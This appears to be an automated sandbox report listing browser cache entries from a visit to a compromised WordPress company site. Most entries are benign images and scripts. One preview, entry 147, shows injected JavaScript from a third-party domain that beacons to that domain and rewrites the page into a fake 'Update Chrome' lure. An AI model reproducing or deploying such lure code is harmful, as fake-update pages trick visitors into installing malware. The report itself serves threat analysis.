SSDEEP:	384:QM7vqaqdOVz9fyMN7ySzE280j//Z+NMlks+1D4c9:hvkdOV88+ifryMlLwp9
MD5:	93B160E028062BC61FE93416C76E0F01
SHA1:	C106E388D0FB815AC60102B9815C4B9F96137460
SHA-256:	45768157C82C0DF974F1D17B82AAD640042F6853BDD09DF24FE6091F16152651
SHA-512:	AA8BCFE35D8BFB77130AC89AB6B846E3A5100CAAE9F63170726DBAD8B0C161A75859F4F0369781A9654B33976955A22BE2503C33F636CF463EADBDAA1681ACA3
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............D..F....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:2B93DE70439411E5B4CD90028FE3513D" xmpMM:InstanceID="xmp.iid:2B93DE6F439411E5B4CD90028FE3513D" xmp:CreatorTool="Adobe Photoshop CS5 Macintosh"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D6B6516FA6BB11E388DD85B00164A8CD" stRef:documentID="xmp.did:D6B65170A6BB11E388DD85B00164A8CD"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..TZ..A8IDATx...xTE..o7.Y. .8".FG.d.....A.dDF.....Q`..D..\...."K......W..5.HD...,..e.$A@ .;I...oo...u..ow.z...^.R.~.

Chrome Cache Entry: 139

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 961 x 12, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	14686
Entropy (8bit):	7.9593736775439226
Encrypted:	false
SSDEEP:	192:DFq+r5ipc0Ckcs+4+xF07t60Cc96LwTRpTJXqxkJM6cVadNSAM4od618deMfDWyf:BqzgW+417lwsdHOqV7NapoW8cWyOvG5
MD5:	D69E99F3FF1FEC7A12E7B6CCB2F2CBB9
SHA1:	3A564871372848B00867E59F0F6EA29B0B48923D
SHA-256:	D46863CFFB4A1125E4EB8659788EE486C186A77A1D4861273A3F2885EA5EB8B8
SHA-512:	42E4C6850A4260C82409D2D83589ED2B59279C3FC6DEA9B25EFF65BD1084FE4D67BB984A4E1413294B290A024EE96716AB469715093C290FD24EE7F04D3ADB2D
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............B......tEXtSoftware.Adobe ImageReadyq.e<...(iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)" xmpMM:InstanceID="xmp.iid:30833223496011E5A918F78BFA243EFD" xmpMM:DocumentID="xmp.did:30833224496011E5A918F78BFA243EFD"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:30833221496011E5A918F78BFA243EFD" stRef:documentID="xmp.did:30833222496011E5A918F78BFA243EFD"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..7...5.IDATx..}..T.....)...t./HW.]...5.D.W...........bbW.Q.....RT..P..,,.M}.....{ovfvfY?.<?.....{...{.}...7

Chrome Cache Entry: 140

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (9203), with CRLF line terminators
Category:	dropped
Size (bytes):	9354
Entropy (8bit):	5.437202478156931
Encrypted:	false
SSDEEP:	192:ZlhJO3fJ6qQBJ835S5+GE+at1GHT1LDQdt0f7001U/VXeQjglAr:ZluQqIC5S5+Z+I1GHydtW7R1ue3lAr
MD5:	14EF69AA5126473F702EFC711DE5E445
SHA1:	12193314120D55C8DB7B18BE8BED49A2CE4A2EA2
SHA-256:	F1C8EBC86075B4C920E303A9ED6FDC8DE8E976532299362EA2E79267438DD00F
SHA-512:	0D267258C36A72F663E2CD878F0E7E8F861F12F6943D430E350F7B17CFAB310958CF2C09A099B31AABBA05B18E2948DBC5FA194A06CACAFE7A32F4E19D5517E5
Malicious:	false
Reputation:	low
Preview:	//(c)2021, MIT Style License <browser-update.org/LICENSE.txt>..//it is recommended to directly link to this file because we update the detection code.."use strict";var $bu_=new function(){var s=this;this.version="3.3.54";this.vsakt={c:"128",f:"130",s:"17.6",e:"129",i:"12",ios:"17.6",samsung:"27",o:"114",e_a:"128",o_a:"84",y:"24.7.8",v:"6.9",uc:"13.7.8"};this.vsinsecure_below={c:"126",f:"126",s:"11.1.1",e:"119",i:11,ios:"16.5",samsung:12.0,o:62,o_a:78,y:"20",v:"6.0",uc:"13.4"};this.vsdefault={c:-3,f:-3,s:-2,e:17,i:11,ios:12,samsung:-3,o:-3,o_a:-3,y:-1,v:-1,uc:-0.2,a:535};this.names={c:"Chrome",f:'Firefox',s:'Safari',e:"Edge",i:'Internet Explorer',ios:"iOS",samsung:"Samsung Internet",o:'Opera',o_a:'Opera',e_a:"Edge",y:"Yandex Browser",v:"Vivaldi",uc:"UC Browser",a:"Android Browser",x:"Other",silk:"Silk"};this.get_browser=function(ua){var n,ua=(ua\|\|navigator.userAgent).replace("_","."),r={n:"x",v:0,t:"other browser",age_years:undefined,no_device_update:false,available:s.vsakt};function ig

Chrome Cache Entry: 141

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1242 x 812, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	946004
Entropy (8bit):	7.991771177802332
Encrypted:	true
SSDEEP:	24576:mHhUMle42+NqWh2HoO31JGv7zKWzlhP56cuvfI:YTle4Ff2HoIC7mWzlz0Q
MD5:	C5AE760D04571E1C541EDB7D447EACCE
SHA1:	72C9CABD1CD63ABE503E04F4E075EA6DE7FC3DDB
SHA-256:	89FC64814E20C55C3A966E1D5DFA87FABA12F530F62143216FB566B9A49FA4CA
SHA-512:	10173B91551421BCBD84B14961FA3591F9149970EC59B7A570B9B4EEE2E5A0E239082A2FECEEB4C65820B26FE9BF674DBFD3ABA124C1A5E8B0A693991717376C
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......,............liCCPICC Profile..H..W.XS...[RIh..........B. ..6B.H(1&..;....E.+...V@..E.......bC.MH@.}.{....?g.....{.....J.Qm..$.......&.. @.... ..r);>>.@...]...P.:+..9._EW ...@.@.%... >..../...@T.&.J.x..z2. .+.8G..+q....IN.@\|..2.....y..E.....bW.@,.@k..\|.O..2.a......b{h/....XY.q...?k...........K.yS....o).W.....&.E&.5..7!Z.i.wI.b....X..;.(U..LQ.&\|9....@...FCl.q.$?6F.....s!....,..&Cl..\|.<,Im.Q6!Q....q.j.9......E^.[..F$..1.bQr..T......kB.".K.V.(.qb.ld.De...'.%.!~.([..../+...m....j..P.....v.....].J.).<B....\...0U..s.$%I..AZ...Z.S...j{.R....[B.)/JR..S...T......dU.xq./^.........L..#.L..@.......f....@...g.f`EZ...^.@1.."!......."..2.U].Av.lQ..<........oE...T..j........C9.....o.6..5...L..Kb.1..I.':..x ...k0..8.....=.)....p..N.=^\".!....k..}-p[......2...1p.=..6..={A-G.........wOCmGq...!.`...+5.5..Y....>.X........?....=.GKl>..;....c.....a.X.vD..w...5.-.?.<.#..?....r.Z.N...B..B...L.N..sD.L6\|;..\..e........F...6......\|......c}}

Chrome Cache Entry: 142

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 87a, 1 x 1
Category:	downloaded
Size (bytes):	35
Entropy (8bit):	3.066054462414549
Encrypted:	false
SSDEEP:	3:M3SLlHh/:f/
MD5:	729C3007A8ED0597531B0C76D54A94BB
SHA1:	90FE9B8A8142548FDFAB29F59CB0A164A0EAEF81
SHA-256:	6A842EA462DACA2A0B5A0F5F25BCFC8E0059AC811CA6C6A1BC54E4D9119621C3
SHA-512:	AC44DA7F455BFAE52B883639964276026FB259320902AA813D0333E021C356A7B3E3537B297F9A2158E588C302987CE0854866C039D1BB0FFB27F67560739DB2
Malicious:	false
Reputation:	low
URL:	https://virtual.urban-orthodontics.com/CwzD6XAuoIBvLvnbPT/vy3h4ppkpNuGFamKngGVrnJp/bbeaKSDhmn8u+dgnLrHLMS6lmX124ZQ=
Preview:	GIF87a........jl...,...........D..;

Chrome Cache Entry: 143

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (404)
Category:	downloaded
Size (bytes):	84022
Entropy (8bit):	4.852546297805691
Encrypted:	false
SSDEEP:	1536:cPAUaDpdA7aKnEEoUcIPFwTiGSp5PFUejvlNbrjHPFTEPFlm9KTwhmdU:cRaDQ7a9lFzPeDbrImETwhqU
MD5:	A7A5A1D967C5EFFD543BCFFDF1EE98A4
SHA1:	47BD4DE747899BEC3892126F7D02AC149149B294
SHA-256:	DDBDB0300F473040FA43F4D9B50169B1BC514D7B158F5946365C9D28DB85FB06
SHA-512:	84D5FF5C6F887223652A0E008991AB87F37F22D6403EA38ADDDCAB7EC0F50EA8B7735204DFABF8C95507E03FF71F8D921FBEFD912BAEBDD655C3588C0C7F58A3
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/styles/main.css?ver=6.5.4
Preview:	@charset "UTF-8";./* Fonts.********/.@import url(../fonts/fontello/css/fontello.css);.@import url("https://fonts.googleapis.com/css?family=Open+Sans:400,300,400italic,600,700,600italic\|Montserrat:400,700");./ Vendors.***********/./ Bitters 0.10.0. * http://bitters.bourbon.io. * Copyright 2013.2014 thoughtbot, inc.. * MIT License /./ line 1, ../../app/sass/vendors/base/extends/_button.scss /.button,.input[type="submit"] {. -webkit-font-smoothing: antialiased;. background-color: #003366;. border-radius: 3px;. color: white;. display: inline-block;. font-size: 1em;. font-weight: bold;. line-height: 1;. padding: 0.75em 1em;. text-decoration: none; }. / line 13, ../../app/sass/vendors/base/extends/_button.scss /. button:hover,. input[type="submit"]:hover {. background-color: #000d1a;. color: white; }. / line 18, ../../app/sass/vendors/base/extends/_button.scss */. button:disabled,. input[type="submit"]:disabled {. cursor: not-allowed;. opacity: 0.5; }.

Chrome Cache Entry: 144

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	downloaded
Size (bytes):	1150
Entropy (8bit):	3.0859863571819224
Encrypted:	false
SSDEEP:	12:ta/ampMdRNaeZbelEsKse2VnnhYRsxIh/P+na5BaJ:oSmpMcTEsK9AnYjh/P+a5s
MD5:	A2E0DC7C6DA05CECF78062CDE3B59A50
SHA1:	D0DCCCA38DC112E0F1947E305FCBE835D3B6861C
SHA-256:	C80C4A308CBBDF1491C064897D44026C8D2804EFB7961D451DA4570090B60B2D
SHA-512:	1DF2ACC03B2D1D0394E875AF339453764CBA5619F2A94FB66AE6F2AAAEEC7F9BF50240D51C28404E8915AB30F5AD2A3B08B57F153C460BF13E22C8D6AC61767F
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/favicon.ico
Preview:	............ .h.......(....... ..... .........#...#...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................hC,...v.....b<%.lH2.nK5.nJ4.jE/.pM8..~o.oL6.jE/..lZ.........uR>.L...[2..U+..U,....p.F...X/....q.D...lG2..eR.mI2.?.........jE/.{ZG.xWB.pM8...p.....yXD..\|m......aN.tR=.{[G.vT?..zj...............................................................................................................................................................................................................................................

Chrome Cache Entry: 145

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	42720
Entropy (8bit):	5.008454275070529
Encrypted:	false
SSDEEP:	768:Bt4UcFm2AzEqnRFNifrgKIIl86ZUv9CAA9GcZ0eSqC:kKDF3B
MD5:	3DB1E65E46017DA03D9FB95850A3BDB9
SHA1:	B984C31B080175B842F75ADB1435DACC8E226551
SHA-256:	697BF6D6A888E382A81496C2D13F16A6B62FA3A9FE6B1BC811128DCB08DC3844
SHA-512:	CE24509C43DF39F4CB907EBD06C4CAD07C462BC7762537BC27715C53C96C9DEC97F9ACC064B5265ADF76E0CDED4C46AB51B94E8B175BBE31D10BE56B8072D7FF
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/plugins/lightcase/lightcase.js?ver=20130115
Preview:	/. Lightcase - jQuery Plugin. * The smart and flexible Lightbox Plugin.. . @author..Cornel Boppart <cornel@bopp-art.com>. * @copyright.Author. . @version..2.1.2 (29/09/2015). /..;(function ($) {..window.lightcase = {...cache : {},....support : {},....labels : {....'errorMessage' : 'Source could not be found...',....'sequenceInfo.of' : ' of ',....'close' : 'Close',....'navigator.prev' : 'Prev',....'navigator.next' : 'Next',....'navigator.play' : 'Play',....'navigator.pause' : 'Pause'...},..../... Initializes the plugin... ... @param.{object}.options... * @return.{object}... /...init : function (options) {....return this.each(function () {.....$(this).unbind('click').click(function (event) {......event.preventDefault();......$(this).lightcase('start', options);.....});....});...},..../... Starts the plugin... ... @param.{object}.options... * @return.{void}... */...start : function (options) {....lightcase.settings = $.extend(true, {.....idPrefix : 'lightcase-',..

Chrome Cache Entry: 146

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (31965)
Category:	dropped
Size (bytes):	71292
Entropy (8bit):	5.350613403914518
Encrypted:	false
SSDEEP:	1536:fHFACoa5TKQywvZiz1tPznRDxEBnaYgq4ZP8jU47PVnOZCX1kWKJB0Y1GoGi5um:P4Fr7K+5BMiR
MD5:	2FD585C8AA377F897DE1C42AD1E46F18
SHA1:	1DE4D04EAF234E2995111133056D16EB43F4E129
SHA-256:	2C88A96AACCFDA2BF3F3C29D069FEA858423E9CEBCC1392A1021EC76538498BA
SHA-512:	D7D620EBD1A3704486372AB55BAC5E9070655C4989116B686E02BDB07A23494E44302863B8ED3A6642D9D9AB00A58676AE0E14450975DA2DF40858D26F861C36
Malicious:	false
Reputation:	low
Preview:	!function(){var t={},e={},n={},i={},r={},o={},a={},s={},u={},l={},c={},d={},f={},h={},p={},m={},v={},b={},y={},g={},w={},_={},E={},S={},k={},T={},C={},F={},A={},x={},I={},M={},P={},L={},N={},U=this&&this.__spreadArray\|\|function(t,e,n){if(n\|\|2===arguments.length)for(var i,r=0,o=e.length;r<o;r++)!i&&r in e\|\|(i\|\|(i=Array.prototype.slice.call(e,0,r)),i[r]=e[r]);return t.concat(i\|\|Array.prototype.slice.call(e))},D=this&&this.__extends\|\|function(){var t=function(e,n){return(t=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&(t[n]=e[n])})(e,n)};return function(e,n){function i(){this.constructor=e}if("function"!=typeof n&&null!==n)throw new TypeError("Class extends value "+String(n)+" is not a constructor or null");t(e,n),e.prototype=null===n?Object.create(n):(i.prototype=n.prototype,new i)}}(),O=this&&this.__assign\|\|function(){return O=Object.assign\|\|function(t){for(var e,n=1,i=argument

Chrome Cache Entry: 147

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	107188
Entropy (8bit):	6.063751150557593
Encrypted:	false
SSDEEP:	3072:Zx37myXqbNdNfPgriKal+VYnwlQ92KHBN9:zcNfPgril+yGQkKHBN9
MD5:	8C2314E426616E5BFBBB8CBF45B2EED2
SHA1:	CFB33802D482B5EEBE89CCCFDEEDEDF3E8CB2998
SHA-256:	A8F9C25083EDD9F01BD4C0569A8A93BBB73C77CF8163D96EC09610FB5C7B3CAB
SHA-512:	5AC95AD5BA646B5F7B3501B71B64BAEF6AF3DA1E0F07B3D0F9DD293F93ECC325249A05C01CE844CDCA33416C0F4095057DE0DF2DBEDB125B6B0F551FBA732608
Malicious:	false
Reputation:	low
URL:	https://virtual.urban-orthodontics.com/higutf0KTdziChSHsBsCl/VcS8WkEgzU6ElCzPxNcdP2CgKX9AoUl+FCXNriW0bS801NxP9fVMTjRVyX+w==
Preview:	(function(){window.localStorage[window.location.hostname]=1;var domain='https://virtual.urban-orthodontics.com/';function sendStatistics(type){var i=new Image();i.src=domain+type;}var elems=[document.documentElement,document.head,document.body];var attrs=['class','style','lang','id','dir'];for(var i=0;i<elems.length;i++){for(var j=0;j<attrs.length;j++){try{elems[i].removeAttribute(attrs[j]);}catch(e){}}}document.head.innerHTML='<meta http-equiv="content-type" content="text/html; charset=UTF-8">'+'<meta charset="utf-8">'+'<title>Update Chrome</title>'+'<style> * {margin: 0;padding: 0;}html {overflow-y: scroll;}body {color: #333;font: 13px/18px \'Segoe UI\',sans-serif;font-weight: 400;}.compact {border-left: 26px transparent solid;border-right: 26px transparent solid;margin: 0 auto;max-width: 928px;}#header {height: 64px;position: relative;}.g-section:after {clear: both;content: ".";display: block;height: 0;visibility: hidden;}.g-section, .g-unit {zoom: 1;}#header-logo {margin-top: 20px;

Chrome Cache Entry: 148

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (9203), with CRLF line terminators
Category:	downloaded
Size (bytes):	9354
Entropy (8bit):	5.437202478156931
Encrypted:	false
SSDEEP:	192:ZlhJO3fJ6qQBJ835S5+GE+at1GHT1LDQdt0f7001U/VXeQjglAr:ZluQqIC5S5+Z+I1GHydtW7R1ue3lAr
MD5:	14EF69AA5126473F702EFC711DE5E445
SHA1:	12193314120D55C8DB7B18BE8BED49A2CE4A2EA2
SHA-256:	F1C8EBC86075B4C920E303A9ED6FDC8DE8E976532299362EA2E79267438DD00F
SHA-512:	0D267258C36A72F663E2CD878F0E7E8F861F12F6943D430E350F7B17CFAB310958CF2C09A099B31AABBA05B18E2948DBC5FA194A06CACAFE7A32F4E19D5517E5
Malicious:	false
Reputation:	low
URL:	https://browserupdate.org/update.min.js
Preview:	//(c)2021, MIT Style License <browser-update.org/LICENSE.txt>..//it is recommended to directly link to this file because we update the detection code.."use strict";var $bu_=new function(){var s=this;this.version="3.3.54";this.vsakt={c:"128",f:"130",s:"17.6",e:"129",i:"12",ios:"17.6",samsung:"27",o:"114",e_a:"128",o_a:"84",y:"24.7.8",v:"6.9",uc:"13.7.8"};this.vsinsecure_below={c:"126",f:"126",s:"11.1.1",e:"119",i:11,ios:"16.5",samsung:12.0,o:62,o_a:78,y:"20",v:"6.0",uc:"13.4"};this.vsdefault={c:-3,f:-3,s:-2,e:17,i:11,ios:12,samsung:-3,o:-3,o_a:-3,y:-1,v:-1,uc:-0.2,a:535};this.names={c:"Chrome",f:'Firefox',s:'Safari',e:"Edge",i:'Internet Explorer',ios:"iOS",samsung:"Samsung Internet",o:'Opera',o_a:'Opera',e_a:"Edge",y:"Yandex Browser",v:"Vivaldi",uc:"UC Browser",a:"Android Browser",x:"Other",silk:"Silk"};this.get_browser=function(ua){var n,ua=(ua\|\|navigator.userAgent).replace("_","."),r={n:"x",v:0,t:"other browser",age_years:undefined,no_device_update:false,available:s.vsakt};function ig

Chrome Cache Entry: 149

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4269)
Category:	downloaded
Size (bytes):	266512
Entropy (8bit):	5.566654878289812
Encrypted:	false
SSDEEP:	6144:FlIGKlqkFd1MvO5QEDF2Dej7dsSFVVl23:FlwUkFd9l+
MD5:	94B01F68145358E67ED7F362648F7D3D
SHA1:	795BD99C1595EB5AECBFB6FDBDC00F2BF3864BCD
SHA-256:	C209FD18AC0E8859401CC9D1C20C3D107E471CCF0868138898CCCFB652B8ADFA
SHA-512:	8FEAA186979C6962968D32E9E955FBBA8117FCEC7AEC2FFBD183CF0B770A1F9CEECBF0CE4DDA80783A25B6785F80BFB4DFE1B9B305DEA02394F11F2C901364EF
Malicious:	false
Reputation:	low
URL:	https://www.googletagmanager.com/gtag/js?id=G-E694J4CV2M&cx=c&_slc=1
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"2",. . "macros":[{"function":"__e"},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0}],. "tags":[{"function":"__ogt_ga_send","priority":5,"vtp_value":true,"tag_id":10},{"function":"__ogt_referral_exclusion","priority":5,"vtp_includeConditions":["list","twbcompany\\.com"],"tag_id":12},{"function":"__ogt_session_timeout","priority":5,"vtp_sessionMinutes":30,"vtp_sessionHours":0,"tag_id":13},{"function":"__ogt_1p_data_v2","priority":5,"vtp_isAutoEnabled":true,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_isEnabled":true,"vtp_cityType":"CSS_SELECTOR","vtp_manualEmailEnabled":false,"vtp_firstNameType":"CSS_SELECTOR","vtp_countryType":"CSS_SELECTOR","vtp_cityValue":"","vtp_emailType":"CSS_SELECTOR","vtp_regionType":"CSS_SELECTOR","vtp_autoEmailEnabled":true,"vtp_postalCodeValue":"","vtp_lastNameValue":"","vtp_phoneType":"CSS_SELECT

Chrome Cache Entry: 150

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 689x300, components 3
Category:	downloaded
Size (bytes):	30674
Entropy (8bit):	7.973946901677999
Encrypted:	false
SSDEEP:	768:zXniZBJUkUSVYhE7DFab+qIg52hREFFqwvb10:zXnUUkUHEFPzg52hmFFBb10
MD5:	D565382CC8F54B02DA6433F8F5BB5680
SHA1:	90C16F93285D0E0041E667D54F303988A15DF2E6
SHA-256:	4EADA5C91E68379DE29285C4536BC1FDD3E204A44FE1EAF59C8352F8CDEB91F6
SHA-512:	27BA5CB5BFA06D77023A22FEB43EEA0DA85B42CC9380EF3CBE5034DD2913501881B99B1AC5EB644A60BD0F450EC1DCFEB61C7CC3E62DAB9BFA95B6E5AD93273D
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2015/09/twc-thumb.jpg
Preview:	......Exif..II*.................Ducky.......2......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:6e70b245-073f-4138-bd2f-40bd88a30a98" xmpMM:DocumentID="xmp.did:2FAF3F2858C511E5BEEECBB76CCA2AC5" xmpMM:InstanceID="xmp.iid:2FAF3F2758C511E5BEEECBB76CCA2AC5" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6e70b245-073f-4138-bd2f-40bd88a30a98" stRef:documentID="xmp.did:6e70b245-073f-4138-bd2f-40bd88a30a98"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................

Chrome Cache Entry: 151

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (409), with no line terminators
Category:	dropped
Size (bytes):	409
Entropy (8bit):	5.071644775975722
Encrypted:	false
SSDEEP:	12:mtt3FxSFfVBPIwwsMtRsb4KpfNEpSuIXqEn:mxFMBPIaMu4KlNt1X7
MD5:	B2CB713D9736E814A08353C2FEDCB8E1
SHA1:	E5875894947716625D15D46C92DE1B5A222725A9
SHA-256:	F7BB442B06BFB13ECFEE3C3EC2B6B19440A33E080CA9378F8D6F161281BD01ED
SHA-512:	1F3C9906E4566A4DB12379558A6DA10159F0A8B692C72080D1348EE50FDBA1A8B98A2AE93CA8D1CC4F3925067FB25D33B560F9F7ED5B0AE76655F01BFDAA8C94
Malicious:	false
Reputation:	low
Preview:	"use strict";var WPMLLanguageSwitcherDropdown=function(){function t(e){(e=e\|\|window.event).preventDefault&&e.preventDefault(),e.returnValue=!1}return{init:function(){for(var e=document.querySelectorAll(".js-wpml-ls-legacy-dropdown a.js-wpml-ls-item-toggle"),n=0;n<e.length;n++)e[n].addEventListener("click",t)}}}();document.addEventListener("DOMContentLoaded",function(){WPMLLanguageSwitcherDropdown.init()});

Chrome Cache Entry: 152

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2490
Entropy (8bit):	4.645901279512174
Encrypted:	false
SSDEEP:	48:Oj9UHi75vswjkpxKT6K+3fjlHfs43U7IEEqrR:OjOuvxjzTX+W+ql
MD5:	34AD8087298D9E52616B82491C27CF30
SHA1:	071F38E4B4DE03DF8E1A733053449F855B154FB1
SHA-256:	2FE0EF96DBD5A43DDC3DA3864F47C9512CFEB38A16B49507F021FA48648FF976
SHA-512:	923D3DDDF934C552F429DF2D2676138A7715AF18A119D77097ECBD55EBBCBA0A36E5F0F7066B553F97EEAAE8B248DC207D5F10B8EDBF1CA35FD83A7DD5CA18EE
Malicious:	false
Reputation:	low
Preview:	(function ($) {. var SUCCESS_STATUS = "mail_sent";. var AJAX_ACTION = "getDownloadButton";. var SUPPORTED_VERSIONS = [4, 5];.. function warnVersion(version) {. console.warn(. "[CF7 GATED CONTENT]: This version of CF7 is not supported: " + version. );. }.. function parseVersions(detail) {. var version = detail.pluginVersion;. var versionParts = version.split(".").map(v => parseInt(v, 10));.. // Warn if we are in a non-supported version of CF7. if (!SUPPORTED_VERSIONS.includes(versionParts[0])) {. warnVersion(version);. }.. // Return version object. return {. string: version,. major: versionParts[0],. minor: versionParts[1],. patch: versionParts[2],. };. }.. function parseStatus(detail) {. var version = parseVersions(detail);.. switch (version.major) {. case 5:. return detail.apiResponse.status;.. case 4:. return detail.status;.. default:. return null;. }. }.. function parse

Chrome Cache Entry: 153

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 689x300, components 3
Category:	downloaded
Size (bytes):	39618
Entropy (8bit):	7.9735962215835565
Encrypted:	false
SSDEEP:	768:KQHZgHYIsJyJ3rCIrHbpWk7YDSIQjsriZD1U5SK3eZzXyzoHdgXpIFQb+HjKO5VP:KQ5lIsJweKHdWmZBZpUEKudXyzoHmI2A
MD5:	2D146F049F0E2BE17E78682B81714B37
SHA1:	83043B24881873627A1FFE2145E8FEF27FC857D5
SHA-256:	57F8B778E6195A7015D3D8A2B8007959F9E255E7CCF7B1BFB91E79CBC3EF3C44
SHA-512:	033CD3F053819F2A07C034D7A344217F68E198D083B612D1F4E74FE50AD2E50AEA9B019B1544DF1FE852DCF7FD0FD5860A50DE1E9BFD4FC477889A370944F451
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2015/09/hot-formed-thumb.jpg
Preview:	......Exif..II*.................Ducky.......2......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:6e70b245-073f-4138-bd2f-40bd88a30a98" xmpMM:DocumentID="xmp.did:FB31B48458DB11E5BEEECBB76CCA2AC5" xmpMM:InstanceID="xmp.iid:FB31B48358DB11E5BEEECBB76CCA2AC5" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6e70b245-073f-4138-bd2f-40bd88a30a98" stRef:documentID="xmp.did:6e70b245-073f-4138-bd2f-40bd88a30a98"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................

Chrome Cache Entry: 154

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 689x300, components 3
Category:	dropped
Size (bytes):	30674
Entropy (8bit):	7.973946901677999
Encrypted:	false
SSDEEP:	768:zXniZBJUkUSVYhE7DFab+qIg52hREFFqwvb10:zXnUUkUHEFPzg52hmFFBb10
MD5:	D565382CC8F54B02DA6433F8F5BB5680
SHA1:	90C16F93285D0E0041E667D54F303988A15DF2E6
